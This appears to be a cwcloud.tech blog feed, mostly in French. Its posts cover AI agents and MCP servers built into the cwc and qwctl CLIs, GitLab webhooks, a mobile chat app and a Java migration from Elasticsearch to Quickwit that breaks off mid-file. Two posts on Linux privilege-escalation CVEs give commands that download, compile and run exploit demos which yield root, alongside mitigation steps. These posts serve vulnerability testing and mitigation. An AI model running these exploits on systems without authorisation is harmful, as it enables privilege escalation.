Aller au contenu principal

La CLI de Quickwit comme agent web IA pour CWCloud et Gitlab

· 4 minutes de lecture
Idriss Neumann
founder cwcloud.tech
attention

qwctl est Open Source, mais pour les instances on-premises de CWCloud, vous devez disposer de l'Enterprise Edition (EE) pour utiliser les fonctionnalités d'agent IA. Merci de nous contacter pour plus d'informations.

Comme expliqué dans notre précédent blogpost, nous continuons à agentiser chaque pilier du platform engineering afin de pouvoir interagir via le chat, les fonctions serverless ou des webhooks de tickets qui déclenchent des prompts. Et l'un de ces piliers est l'observabilité.

Comme vous avez pu le voir dans plusieurs blogposts, nous travaillons aussi étroitement avec Quickwit depuis quelques années et nous contribuons à leur CLI, qwctl. Cette CLI est construite sur le modèle de notre propre CLI cwc, avec un serveur MCP et un agent interactif embarqué.

Voici une démo de l'utilisation de qwctl comme serveur MCP et agent web :

Dans ce blogpost, nous allons voir comment utiliser qwctl comme agent web externe compatible avec l'API CWAI, ainsi que comme webhook GitLab.

D'abord, voici comment lancer la CLI qwctl en mode agent web :

$ qwctl ai web-agent

Nous pouvons aussi spécifier le port et l'adresse d'écoute :

$ qwctl ai web-agent -a 0.0.0.0 -p 8081 -s http://localhost:8080/mcp

Ensuite, nous pouvons envoyer une requête HTTP POST vers l'agent web :

$ curl -X POST http://localhost:8081 -H "Content-Type: application/json" -d '{ "settings": { "max_tokens": 500 }, "message": "Hello"}'

L'agent web répondra ainsi (en respectant le contrat external adapter) :

{
"status": "ok",
"message": "Hello! How can I assist you today?",
"usage": {
"prompt_tokens": 8,
"completion_tokens": 10,
"total_tokens": 18
}
}

Pour héberger la CLI comme serveur MCP et agent web en même temps, voici un exemple de fichier docker compose :

services:
qwctl_mcp:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: qwctl_mcp
env_file:
- .env.qwctl
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "mcp", "-l", "0.0.0.0", "-p", "8080"]
networks:
- cwc_network
qwctl_agent:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: qwctl_agent
env_file:
- .env.qwctl
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "web-agent", "-a", "0.0.0.0", "-p", "8081", "-s", "http://qwctl_mcp:8080"]
ports:
- "8081:8081"
networks:
- qwctl_network

networks:
qwctl_network:
driver: bridge

Dans le .env.qwctl, vous pouvez définir toutes les variables d'environnement nécessaires pour la CLI qwctl, comme la clé API et le modèle par défaut à utiliser. Vous pouvez consulter cette documentation pour plus de détails.

Adaptateur IA externe pour CWCloud

Nous pouvons ensuite ajouter l'agent web en tant qu'external adapter :

qwctl-external-adapter

Puis l'utiliser avec le chat de CWAI :

qwctl-web-agent-chat

Ou avec l'application mobile :

qwctl-web-agent-mobile-chat

Vous pouvez aussi appeler l'agent dans une fonction serverless :

qwctl-web-agent-faas

Webhook GitLab

D'abord, nous devons configurer qwctl avec les variables d'environnement suivantes :

  • QWCTL_AGENT_NAME : le nom de l'agent qui sera utilisé comme déclencheur (ex. : qwctl pour être déclenché par des commentaires contenant !qwctl dans les issues GitLab)
  • QWCTL_GITLAB_TOKEN : un token GitLab avec les permissions pour publier des commentaires sur les issues
  • QWCTL_GITLAB_BASE_URL : l'URL de l'instance GitLab (ex. : https://gitlab.cwcloud.tech)

Bien sûr, vous pouvez aussi utiliser la commande CLI configure comme ceci :

$ qwctl configure set agent_name cwc-prod
$ qwctl configure set gitlab_token <your_gitlab_token>
$ qwctl configure set gitlab_base_url https://gitlab.cwcloud.tech

Ensuite, vous devez configurer le webhook dans GitLab comme ceci :

gitlab-webhooks

gitlab-webhook-config

Comme vous pouvez le voir, nous avons configuré le chemin d'endpoint /gitlab et nous avons également défini un header Authorization via notre reverse proxy. Cependant, l'agent web supporte aussi le secret de webhook GitLab pour l'authentification (c'est optionnel, mais il faut mettre en place une authentification d'une façon ou d'une autre).

Et enfin, voici ce que nous obtenons dans les issues GitLab lorsque nous commentons !qwctl :

gitlab-issue-agent-qwctl

Conclusion

Ce billet illustre notre vision du platform engineering en 2026 : des agents qui suivent des instructions depuis les systèmes de tickets, les pipelines CI/CD, les fonctions serverless, etc.

Pour l'instant, nos agents répondent seulement à des instructions venant des tickets, du chat ou de l'application mobile, mais la CLI exposant aussi un serveur MCP sera réutilisée pour des agents plus avancés, capables de raisonnements et d'analyses plus complexes dans le futur.

CWCloud AI Chat sur mobile

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Toujours dans l'optique de rendre les fonctionnalités de CWCloud accessibles rapidement et partout avec nos agents IA, nous fournissons désormais une application mobile pour interagir avec l'API CWAI qui elle même permet d'invoquer notre web agent comme démontré dans ce blogpost.

L'application est disponible en mode web sur chat.cwcloud.tech et est aussi téléchargeable pour Android en cliquant sur le bouton "Download" entourée en rouge ci-dessous:

cwc-chat-mobile

attention

L'application mobile est OpenSource et disponible sur notre gitlab mais pour consommer l'api CWAI, vous devrez disposer de l'édition Enterprise (EE). Merci de nous contacter pour plus d'informations.

Ensuite, vous pouvez vous connecter avec une clef d'API et la configurer en cliquant sur le bouton "Configure" ou "Settings" entouré en rouge ci-dessous:

cwc-chat-credentials

Sur la version mobile il est possible de directement scanner le QR code de la clef d'API pour la configurer automatiquement en passant par la console comme ceci :

cwc-chat-credentials-qr-1

Puis :

cwc-chat-credentials-qr-2

Et enfin vous pourrez discuter avec les différents modèles et agents interfacés avec les adaptateurs externes de CWCloud :

cwc-chat-prompt

Conclusion : comme évoqué dans notre précédent blogpost, il semble toujours très important pour l'expérience utilisateur que les agents IA affichent des commandes CLI répétables et compréhensibles. Encore davantage sur mobile, afin de pouvoir partager des captures d'écran avec d'autres personnes durant des incidents de production.

Agent IA CWCloud comme webhook Gitlab pour les commentaires d'issues

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech
attention

La CLI cwc est OpenSource mais pour les instances on-premises de CWCloud, vous devrez disposer de l'édition Enterprise (EE) pour utiliser les fonctionnalités d'agent IA. Merci de nous contacter pour plus d'informations.

Dans notre précédent blogpost, nous avons expliqué comment utiliser la CLI cwc comme agent web et comment l'utiliser dans les fonctionnalités CWAI comme le chat ou le moteur FaaS.

Dans ce blogpost, nous allons voir comment utiliser la CLI cwc comme agent web en tant que webhook Gitlab déclenché par les commentaires d'issues et des mots-clés.

Commençons par configurer cwc avec les variables d'environnement suivantes :

  • CWC_AGENT_NAME : le nom de l'agent qui sera utilisé comme déclencheur (ex. : cwc-prod pour être déclenché par des commentaires contenant !cwc-prod dans les issues Gitlab)
  • CWC_GITLAB_TOKEN : un token Gitlab avec la permission de publier des commentaires sur les issues
  • CWC_GITLAB_BASE_URL : l'URL de l'instance Gitlab (ex. : https://gitlab.cwcloud.tech)

Vous pouvez également utiliser la commande cwc configure comme ceci :

$ cwc configure set agent_name cwc-prod
$ cwc configure set gitlab_token <your_gitlab_token>
$ cwc configure set gitlab_base_url https://gitlab.cwcloud.tech

Ensuite, vous devrez configurer le webhook dans Gitlab comme ceci :

gitlab-webhooks

gitlab-webhook-config

Comme vous pouvez le voir, nous avons configuré l'endpoint /gitlab et nous avons aussi défini un header Authorization attendu par notre reverse proxy pour server l'agent. Néammoins, l'agent web supporte aussi le webhook secret de Gitlab pour l'authentification (c'est optionnel, mais faites attention à bien configurer une authentification d'une manière ou d'une autre).

Et donc, voici ce que nous obtenons dans les issues Gitlab quand nous commentons !{agent name} :

gitlab-issue-agent

attention

Encore une fois, faites attention à ce que vous allez demander dans vos prompts. Dans la prochaine version, nous ajouterons un mode de confirmation dans notre agent.

En conclusion, les utilisateurs peuvent travailler et intervenir en production tout en restant dans le tableau central des tickets.

Agent IA CWCloud comme adaptateur RESTful pour l'API CWAI

· 2 minutes de lecture
Idriss Neumann
founder cwcloud.tech
attention

La CLI cwc est OpenSource mais pour les instances on-premises de CWCloud, vous devrez disposer de l'édition Enterprise (EE) pour utiliser les fonctionnalités d'agent IA. Merci de nous contacter pour plus d'informations.

Dans notre blogpost précédent, nous avions présenté le serveur MCP et l'agent IA CWCloud. Nous avions expliqué comment nous avons implémenté le serveur MCP et comment l'utiliser avec un agent IA en mode CLI.

Dans cet article, nous allons voir cette fois comment utiliser cwc comme adaptateur web externe compatible avec l'API CWAI.

Tout d'abord, voici comment démarrer la CLI cwc en tant qu'agent web :

$ cwc ai web-agent

On peut aussi préciser le port et l'adresse d'écoute :

$ cwc ai web-agent -a 0.0.0.0 -p 8081 -s http://localhost:8080/mcp

Ensuite, on peut envoyer une requête HTTP POST à l'agent web comme ceci :

$ curl -X POST http://localhost:8081 -H "Content-Type: application/json" -d '{ "settings": { "max_tokens": 500 }, "message": "Hello"}'

L'agent web répondra ainsi (en respectant le contrat de l'adaptateur externe) :

{
"status": "ok",
"message": "Hello! How can I assist you today?",
"usage": {
"prompt_tokens": 8,
"completion_tokens": 10,
"total_tokens": 18
}
}

Pour héberger la CLI comme serveur MCP et agent web en même temps, voici un exemple de fichier docker compose :

services:
cwc_mcp:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: cwc_mcp
env_file:
- .env.cwc
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "mcp", "-l", "0.0.0.0", "-p", "8080"]
networks:
- cwc_network
cwc_agent:
image: "rg.fr-par.scw.cloud/cwcloud-ce-u7u1q0/cwc:1.19.13"
restart: always
container_name: cwc_agent
env_file:
- .env.cwc
volumes:
- "/etc/ssl/certs/ca-bundle.crt:/etc/ssl/certs/ca-bundle.crt:ro"
- "/etc/ssl/certs/ca-bundle.trust.crt:/etc/ssl/certs/ca-bundle.trust.crt:ro"
command: ["ai", "web-agent", "-a", "0.0.0.0", "-p", "8081", "-s", "http://cwc_mcp:8080"]
ports:
- "8081:8081"
networks:
- cwc_network

networks:
cwc_network:
driver: bridge

Dans .env.cwc, vous pouvez définir toutes les variables d'environnement nécessaires pour la CLI cwc, comme la clé API et le modèle par défaut à utiliser. Vous pouvez vous référer à cette documentation pour plus de détails.

On peut ensuite ajouter l'agent web comme adaptateur externe :

cwc-external-adapter

Puis l'utiliser avec le chat de CWAI :

cwc-web-agent-chat

Et bien sûr, vous pourrez aussi l'utiliser dans le moteur FaaS comme ceci :

cwc-web-agent-faas

Et voilà comment utiliser l'agent web cwc comme adaptateur externe pour CWAI !

Serveur MCP et agent IA avec CWCloud

· 5 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Vous vous demandez peut-être pourquoi nous parlons toujours de MCP1 en 2026 alors que beaucoup de monde affirme que ce n'est plus utile parce que les agents IA peuvent facilement utiliser la CLI ce qui évite d'avoir à faire une double maintenance.

C'est la principale raison pour laquelle il nous a fallu si longtemps pour livrer un serveur MCP : nous maintenons déjà la CLI cwc2 et ne voulions pas dupliquer le travail en maintenant à la fois une CLI et un serveur MCP.

cli

Initialement, nous avions essayé de regrouper toutes les fonctionnalités de la CLI dans des packages Go qui pourraient être inclus dans le serveur MCP. Cependant, nous nous sommes vite rendu compte que c'était beaucoup de travail et nécessiterait de maintenir les deux artefacts à chaque fois que nous ajouterions une nouvelle fonctionnalité.

Après quelques tentatives, nous nous sommes rendu compte que nous pouvions générer dynamiquement le serveur MCP avec les définitions d'outils directement à partir de la CLI, qui est implémentée en Go et Cobra. De cette façon, nous pouvions calculer toutes les définitions d'outils à partir de la documentation de la CLI et générer le serveur MCP à la volée sans maintenir deux codebases séparés.

ai-cwc

Encore mieux : les développeurs peuvent ajouter des sous-commandes et le serveur MCP les utilisera dynamiquement sans aucun travail supplémentaire.

Et voilà, cela fonctionne simplement en lançant cette sous-commande pour démarrer le serveur MCP :

$ cwc ai mcp
Starting cwc MCP server on http://127.0.0.1:8080/mcp

Evidemment, vous pouvez changer le port et l'adresse d'écoute comme ceci :

$ cwc ai mcp -p 8081 -l 0.0.0.0
Starting cwc MCP server on http://0.0.0.0:8081/mcp

Et nous avons un outil list_mcp_dynamic_tools qui liste tous les outils disponibles sur le serveur.

Maintenant vous vous demandez peut-être "OK, c'est bien, mais pourquoi devrais-je utiliser un serveur MCP au lieu de la CLI directement avec un agent ?". Selon nous, MCP et agents ne sont pas antinomiques et peuvent être utilisés ensemble. Nous pensons que fournir des outils MCP pour vos agents nécessite moins d'effort de votre côté qu'implémenter un agent qui appelle la CLI et en parse la sortie.

Bien entendu, nous fournissons aussi un moyen de créer des agents capables d'appeler le serveur MCP avec la commande cwc ai agent :

$ cwc ai agent -p "your prompt"

La commande fonctionne avec gpt4omini d'OpenAI par défaut mais supporte également tous les modèles d'OpenAI, Anthropic, Google Gemini, Deepseek ou OpenRouter (qui fournit les modèles open-source de Meta) :

$ cwc ai agent -p "your prompt" --provider openrouter --model "meta-llama/llama-3.3-70b-instruct"

Voici une démo sur comment utiliser le serveur MCP avec un agent pour lister les projets et les instances ainsi que les outils MCP disponibles :

demo

Notes :

  • Vous pouvez faire des demandes dans une autre langue, par exemple en Français, comme montré dans la démo.
  • Vous devez exposer le serveur MCP dans un terminal séparé. Cela vous permet de cibler un serveur MCP distant en utilisant le drapeau -s (nous ajouterons l'authentification plus tard) :
    cwc ai agent -p "list me the projects" -s "http://127.0.0.1:8081/mcp"
  • La documentation complète est disponible ici.
attention

N'oubliez pas que la CLI peut également mettre à jour ou supprimer des ressources comme les instances, les moniteurs, les projets et toutes les autres. Donc soyez prudent avec vos prompts !

La cli fourni également un mode interactif/REPL3 pour l'agent qui permet d'exécuter plusieurs prompts dans la même session (avec le flag -i ou --interactive) :

$ cwc ai agent -i
Using model: gpt-4o-mini (provider: openai)
Interactive mode enabled. Type your prompt and press Enter.
Type 'exit' or 'quit' to leave.
> get me the monitors
> list me all the available MCP tools

Démonstration :

demo-agent-repl

Conclusion : on anticipe le fait que les agents IA sont le futur visage du platform engineering. Il nous paraît donc important dans ce contexte que ceux-ci soient embarqués dans votre CLI et privilégient d'invoquer des commandes répétables et compréhensibles (afin de les faire confirmer par l'humain) plutôt que des tools MCP opaques qui seraient directement associés à la définition de vos endpoints d'API ou SDK (qui eux ne sont généralement pas répétables facilement).

En outre, le fait d'avoir choisi de proposer un serveur MCP et un Agent dans le même binaire que la CLI mais qui s'exécutent dans des processus différents permet de proposer des agents fonctionnants d'exécution simple qui fonctionnent avec les modèles les moins puissants et moins chers du marché tels que gpt-4o-mini, mistral-small, gemini-1.5-flash, deepseek (le moins cher) ou encore llama auto-hébergé. En effet, ces agents n'ont pas besoin de beaucoup de capacité de raisonnement pour interpréter du langage et le transformer en invocation de ligne de commande en sélectionant le bon tool MCP. Mais cela permet également de pouvoir invoquer ce même serveur MCP dans des agents plus complexes qui fonctionnent avec des modèles plus puissants qui produiraient du raisonnement et des workflows de troubleshooting plus avancés couplé avec éventuellement d'autres serveurs MCP pour les outils d'observabilité par exemple.

On ajoutera probablement bien d'autres fonctionnalités donc restez à l'écoute !

Footnotes

  1. MCP signifie "Model-Context Protocol" documenté ici.

  2. Vous pouvez trouver ici la documentation d'installation pour cwc avec notre système d'exploitation.

  3. REPL signifie "Read-Eval-Print Loop", une interface interactive permettant d'exécuter des commandes et de voir les résultats en temps réel.

CVE-2026-43284 Dirty Frag mitigation

· 3 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Après copyfail, voici une nouvelle vulnérabilité majeure découverte par Hyunwoo Kim (@v4bel) utilisant l'IA et connue sous le nom de "Dirty Frag" (CVE-2026-43284) qui permet à un utilisateur non root d'escalader ses privilèges et de devenir root.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre système est vulnérable à ce problème.

attention

N'utilisez pas ce code sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas explicitement la permission de tester.

Tester la vulnérabilité

Sur une machine locale

Avec les privilèges root, exécutez la commande suivante pour installer les dépendances nécessaires (si elles ne sont pas déjà installées) :

root# dnf install git gcc -y

Puis sans privilèges root, exécutez les commandes suivantes pour cloner le dépôt et compiler l'exploit :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git
$ cd dirtyfrag
$ gcc -O0 -Wall -o dirtyfrag-demo demo.c
$ ./dirtyfrag-demo
root#

Vous pouvez également tester rapidement avec ce script :

$ curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-demo.sh > dirtyfrag-demo.sh
$ chmod +x dirtyfrag-demo.sh
$ ./dirtyfrag-demo.sh
root#

Démo avec AlmaLinux :

dirtyfrag-demo

attention

Après avoir exécuté l'exploit, vous devez soit exécuter cette commande (avec les privilèges root), soit redémarrer le système :

root# echo 3 > /proc/sys/vm/drop_caches

Avec docker compose

Contrairement à CopyFail, cette faille ne semble pas affecter les conteneurs OCI/docker utilisant les images basées sur les principales distributions comme Ubuntu, Alpine ou même AlmaLinux. Vous pouvez le tester avec les commandes suivantes :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag.git >/dev/null 2>&1
$ cd dirtyfrag/
$ docker compose up -d alpine --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-alpine
dirtyfrag: failed (rc=1)
$ docker compose up -d ubuntu --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-ubuntu
dirtyfrag: failed (rc=1)
$ docker compose up -d almalinux --build --force-recreate > /dev/null 2>&1 && docker logs dirtyfrag-almalinux
dirtyfrag: failed (rc=1)

Démo sur un hôte vulnérable :

dirtyfrag-docker

Mitigation

Afin de décharger les modules avec modprob, vous pouvez exécuter ce script avec les privilèges root :

root# curl https://gitlab.cwcloud.tech/oss/cybersec/dirtyfrag/-/raw/main/dirtyfrag-mitigation.sh > dirtyfrag-mitigation.sh
root# chmod +x dirtyfrag-mitigation.sh
root# ./dirtyfrag-mitigation.sh
root# /sbin/reboot
attention

Vous devez redémarrer le système après avoir exécuté le script de mitigation. Vous pouvez voir dans la démo ci-dessous que le système reste vulnérable jusqu'au redémarrage :

dirtyfrag-mitigation

Conclusion

Avec l'IA, nous pouvons nous attendre à ce que beaucoup de vulnérabilités de ce type soient découvertes dans le futur, et il est important de les surveiller et d'appliquer les mitigations nécessaires dès que possible vu leur criticité.

Dans ce cas, la mitigation est assez simple et ne nécessite pas de mise à jour du noyau, mais ce n'est pas le cas pour d'autres vulnérabilités (comme CopyFail).

Autres sources et références

CVE-2026-31431 copyfail mitigation

· 3 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Récemment, Xint a divulgué une vulnérabilité très critique dans le noyau Linux, CVE-2026-31431, qui permet aux attaquants locaux d'obtenir des privilèges root. Plus de détails sur le fonctionnement de cette vulnérabilité peuvent être trouvés dans le blogpost de Xint.

Nous fournissons une démo que vous pouvez utiliser pour tester si votre système est vulnérable.

attention

N'utilisez pas ce code sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas explicitement la permission de tester.

attention

Faites attention à backuper votre binaire su original, car cet exploit le modifie.

Tester la vulnérabilité

Sur une machine locale

Tout d'abord, assurez-vous de sauvegarder le binaire su sur votre système, car cet exploit peut le modifier :

root# cp /usr/bin/su /usr/bin/su.bak

Ensuite, avec un utilisateur non root, exécutez les commandes suivantes pour lancer le script d'exploitation :

user$ curl https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo/-/raw/main/cve-2026-31431.py > cve-2026-31431.py
user$ python3 cve-2026-31431.py
root#

Ensuite, restaurez le binaire su original :

root# mv /usr/bin/su.bak /usr/bin/su

Avec docker compose

Il est souvent préférable d'utiliser des conteneurs pour une isolation plus sûre sans contaminer votre binaire su :

$ git clone https://gitlab.cwcloud.tech/oss/cybersec/cve-2026-31431-demo.git
$ cd cve-2026-31431-demo
$ docker compose up -d --build --force-recreate
$ docker exec -it cve-2026-31431 /bin/bash
demo@8536b73279be:/app$ su -
#

Mitigation

Xint a fourni un moyen de mitiger cette vulnérabilité pour plusieurs distributions, y compris Debian ou Ubuntu :

root# echo 3 > /proc/sys/vm/drop_caches
root# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
root# rmmod algif_aead 2>/dev/null || true

Cependant, en raison du 2>/dev/null || true, beaucoup de monde ne semble pas conscient que la mitigation ne fonctionne pas sur toutes les distributions, et en particulier sur les distributions basées sur RHEL (qui ont ce module compilé en tant que builtin dans le kernel), et manquent le message d'erreur suivant :

rmmod: ERROR: Module algif_aead module is builtin.

Voici une démonstration montrant que la mitigation ne fonctionne pas sur Almalinux :

cve-2026-31431 mitigation

Et malheureusement, toutes les mitigations pour ces distributions impliquent un redémarrage. Voici l'une des plus simples jusqu'à ce qu'un nouveau correctif du noyau soit publié :

root# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
root# reboot

Voici une démonstration de la mitigation fonctionnant sur le même système Almalinux (après avoir restauré le binaire su original) :

cve-2026-31431 mitigation

Autres sources et références

Using quickwit as a web search engine in your website

· 11 minutes de lecture
Idriss Neumann
founder cwcloud.tech

Happy new year 2026 🎉 . Let's hope this year will be full of professional and personal success for everyone.

Twelve years ago, a long time before the creation of CWCloud, we launched uprodit.com, a social network dedicated to Tunisian freelancers.

The platform was developed in Java, using the Spring framework, Tomcat, and Vert.x later. One of our main ambitions was to build an intelligent search engine capable of leveraging the information users freely entered in their profiles. At the time, achieving this level of flexibility and relevance was extremely challenging with traditional relational databases RDBMS1.

uprodit-search-engine

That's why it was my second experience with Elasticsearch in production (before the product focused on observability area) after few years with Apache SolR and it worked like a charm.

After the launch of CWCloud, uprodit migrated from physical servers to Scaleway instances using CWCloud. At the same time, we started modernizing the backend by adopting container-based architectures. However, the cost of maintaining an Elasticsearch cluster gradually became too expensive for the organization. Here was the technical architecture of the project at that time:

uprodit-old-arch

One year ago, we started working with Quickwit2 and replaced our entire observability and monitoring stack with it. This included logs, traces, Prometheus metrics, and even web analytics.

Although Quickwit wasn't originally designed to serve as a web search engine, our experience with metrics and analytics showed that it could effectively meet our needs while significantly reducing infrastructure costs (because of the less amount of RAM consumption and the fact that the indexed data are stored on object storage).

As you may know, since we mentioned it in a previous blog post, Quickwit provides an _elastic endpoint that is interoperable with the Elasticsearch and OpenSearch APIs. The idea, therefore, was to replace Elasticsearch while keeping the existing Vert.x Java code with minimal changes, like this:

uprodit-new-arch

In other words, we wanted to keep the Elasticsearch client library to build the queries dynamically with the Elasticsearch DSL3. In this blog post, we'll detail the few key point to succeed the migration.

Keeping the Elasticsearch client library

As we mentioned before we wanted to have the less code rewriting possible, so we choose to keep the Elasticsearch client library to benefit from the DSL builder. Here's the maven dependancy (in the pom.xml file):

<dependency>
<groupId>co.elastic.clients</groupId>
<artifactId>elasticsearch-java</artifactId>
<version>9.2.4</version>
</dependency>

Creating the Quickwit client

We created a IQuickwitService interface because we may have multiple implementations using other http client later:

package tn.prodit.network.se.utils.singleton.quickwit;

import io.vertx.core.json.JsonObject;

import java.io.Serializable;

public interface IQuickwitService {
<T extends Serializable> void index(String index, String id, T document);

<T extends Serializable> void delete(String index, String id);

String search(String indeix, JsonObject query);
}

Then the default implementation using both Vert.x asynchronous http client for the write methods (index and delete) and default java http client for the search method.

import io.vertx.core.Vertx;
import io.vertx.core.http.HttpClient;
import io.vertx.core.http.HttpClientOptions;
import io.vertx.core.http.HttpClientResponse;
import io.vertx.core.http.HttpMethod;
import io.vertx.core.json.JsonObject;

import tn.prodit.network.se.utils.singleton.IPropertyReader;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;
import tn.prodit.network.se.utils.singleton.quickwit.QuickwitTimeout;

import jakarta.inject.Inject;
import jakarta.inject.Singleton;

import java.net.URI;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.util.Arrays;
import java.util.Base64;

import static org.apache.commons.lang3.StringUtils.isBlank;

@Singleton
public class QuickwitService implements IQuickwitService {
private static final Logger LOGGER = LogManager.getLogger(QuickwitService.class);

@Inject
private IPropertyReader reader;

@Inject
private Vertx vertx;

private HttpClient client;

private java.net.http.HttpClient syncClient;

private String basicAuth;

private QuickwitTimeout timeout;

private String uri;

private QuickwitTimeout getTimeout() {
if (null == this.timeout) {
this.timeout = QuickwitTimeout.load(reader);
}

return this.timeout;
}

public String getUri() {
if (null == this.uri) {
String host = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_HOST);
Integer port = reader.getIntQuietly(APP_CONFIG_FILE, QW_KEY_PORT);
String scheme = reader.getBoolQuietly(APP_CONFIG_FILE, QW_KEY_TLS) ? "https" : "http";
this.uri = String.format("%s://%s:%s", scheme, host, port);
}
return this.uri;
}

private java.net.http.HttpClient getSyncClient() {
if (null == this.syncClient) {
QuickwitTimeout timeout = getTimeout();
this.syncClient = java.net.http.HttpClient.newBuilder()
.connectTimeout(Duration.ofMillis(timeout.getConnectTimeout()))
.followRedirects(java.net.http.HttpClient.Redirect.NORMAL).build();
}
return this.syncClient;
}

private HttpClient getClient() {
if (null == this.client) {
String host = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_HOST);
Integer port = reader.getIntQuietly(APP_CONFIG_FILE, QW_KEY_PORT);
Boolean tls = reader.getBoolQuietly(APP_CONFIG_FILE, QW_KEY_TLS);
QuickwitTimeout timeout = getTimeout();

this.client = vertx.createHttpClient(new HttpClientOptions().setDefaultHost(host)
.setDefaultPort(port).setSsl(tls).setConnectTimeout(timeout.getConnectTimeout())
.setReadIdleTimeout(timeout.getReadTimeoutInSec()));
}
return this.client;
}

private String getBasicAuth() {
if (isBlank(this.basicAuth)) {
String user = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_USER);
String password = reader.getQuietly(APP_CONFIG_FILE, QW_KEY_PASSWORD);
this.basicAuth = String.format("Basic %s", Base64.getEncoder().encodeToString(String.format("%s:%s", user, password).getBytes(StandardCharsets.UTF_8)));
}

return this.basicAuth;
}

@Override
public <T extends Serializable> void index(String index, String id, T document) {
String url = String.format("/api/v1/%s/ingest", index);
getClient().request(HttpMethod.POST, url, ar -> {
if (ar.failed()) {
LOGGER.error("[quickwit][index] Request creation failure: " + ar.cause().getMessage(),
ar.cause());
return;
}

JsonObject payload = JsonObject.mapFrom(document);
ar.result().putHeader("Content-Type", "application/json")
.putHeader("Accept", "application/json").putHeader("Authorization", getBasicAuth())
.send(payload.toBuffer(), resp -> {
if (resp.failed()) {
LOGGER.error("[quickwit][index] Request sending failure: " + ar.cause().getMessage(), ar.cause());
return;
}

HttpClientResponse response = resp.result();
response.bodyHandler(body -> {
String logMessage = String.format("[quickwit][index] response url = %s, code = %s, body = %s, payload = %s", url, response.statusCode(), body.toString(), payload);
if (response.statusCode() < 200 || response.statusCode() >= 400) {
LOGGER.error(logMessage);
} else {
LOGGER.debug(logMessage);
}
});
});
});
}

@Override
public <T extends Serializable> void delete(String index, String id) {
String url = String.format("/api/v1/%s/delete-tasks", index);
getClient().request(HttpMethod.POST, url, ar -> {
if (ar.failed()) {
LOGGER.error("[quickwit][delete] Request creation failure: " + ar.cause().getMessage(), ar.cause());
return;
}

JsonObject payload = new JsonObject();
payload.put("query", "id:" + id);
payload.put("search_fields", Arrays.asList("id"));
ar.result().putHeader("Content-Type", "application/json")
.putHeader("Accept", "application/json").putHeader("Authorization", getBasicAuth())
.send(payload.toBuffer(), resp -> {
if (resp.failed()) {
LOGGER.error("[quickwit][delete] Request sending failure: " + ar.cause().getMessage(), ar.cause());
return;
}

HttpClientResponse response = resp.result();
response.bodyHandler(body -> {
String logMessage = String.format("[quickwit][delete] response url = %s, code = %s, body = %s, payload = %s", url, response.statusCode(), body.toString(), payload);

if (response.statusCode() < 200 || response.statusCode() >= 400) {
LOGGER.error(logMessage);
} else {
LOGGER.debug(logMessage);
}
});
});
});
}

@Override
public String search(String index, JsonObject query) {
String path = String.format("/api/v1/_elastic/%s/_search", index);
HttpRequest request =
HttpRequest.newBuilder().timeout(Duration.ofMillis(getTimeout().getReadTimeout()))
.uri(URI.create(String.format("%s%s", getUri(), path)))
.header("Content-Type", "application/json").header("Accept", "application/json")
.header("Authorization", getBasicAuth())
.POST(HttpRequest.BodyPublishers.ofString(query.toString())).build();
try {
HttpResponse<String> response =
getSyncClient().send(request, HttpResponse.BodyHandlers.ofString());
return response.body();
} catch (IOException | InterruptedException e) {
LOGGER.error(String.format("[quickwit][search] Unexpected exception e.type = %s, e.msg = %s",
e.getClass().getSimpleName(),
e.getMessage()));
return null;
}
}
}

Adding an abstraction layer

To make a smooth transition, we created two interfaces with an Elasticsearch implementation then replacing by a Quickwit implementation using dependancy injection4.

Indexing interface

For the the writing part, here's the interface had two implementations (an Elasticsearch's one and a Quickwit's one).

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;

import java.io.IOException;
import java.io.Serializable;

public interface IIndexer {
<T extends Serializable> void index(IndexedDocAdapater<T> adapter, String id, T document) throws IOException;

<T extends Serializable> void delete(IndexedDocAdapater<T> adapter, String id) throws IOException;
}

And here's the Quickwit implementation:

package tn.prodit.network.se.utils.singleton.indexer.impl;

import tn.prodit.network.se.indexation.adapter.IndexedDocAdapater;
import tn.prodit.network.se.pojo.IQuickwitSerializable;
import tn.prodit.network.se.utils.singleton.indexer.IIndexer;
import tn.prodit.network.se.utils.singleton.quickwit.IQuickwitService;

import jakarta.inject.Inject;
import jakarta.inject.Named;
import jakarta.inject.Singleton;

@Singleton
